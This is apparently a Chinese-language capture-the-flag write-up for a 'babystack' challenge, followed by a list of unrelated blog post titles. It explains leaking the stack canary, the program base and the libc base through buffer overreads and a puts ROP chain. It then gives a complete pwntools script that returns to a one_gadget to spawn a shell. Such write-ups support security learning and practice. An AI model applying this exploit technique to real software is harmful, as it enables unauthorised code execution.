baystack(ret2one_gadget)
2024-08-31 09:22:17
babystack
首先检查一下保护
全保护开启,我们IDA分析一下。
main函数很简单,首先第一个read明显存在漏洞,如果不是以 \n
结尾会存在栈中地址的泄漏。
payload = 'A'*0x88+'A' #这里多加一个A是因为canary的低字节为\x00
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
接下来我们就可以ret2onegadget了。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.27.so')
#--------------------leak canary elf_base---------------#
payload = 'A'*0x88+'A'
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendafter("What's your name: ",'AAAA')
payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
p.sendafter('to say: ',payload)
p.interactive()
最新文章
- 对js中this的一点点理解
- 如何让oracle的select强制走索引
- Tomcat无法启动问题
- dota BP练习工具开发:一个C/S多用户程序
- Repeater导航菜单DataList产品展示
- linux命令:pwd
- DataGridView实现倒计时功能(源码)
- 你好,C++(25)函数调用和它背后的故事5.1.2 函数调用机制
- sdsdd
- 【筛素数表证明】【O[n]】
- SQL Server 对象
- Machine Learning #Lab1# Linear Regression
- 表单处理的方案与注意事项(servlet)
- vue初级知识总结
- 【学习总结】win7使用anaconda安装tensorflow+keras
- [转自大神]js拖拽小总结
- FineUI开源版(ASP.Net)初学手册-部分JS整理
- gulp和grunt 分享ppt
- vue自制switch滑块
- linux每日命令(4):pwd命令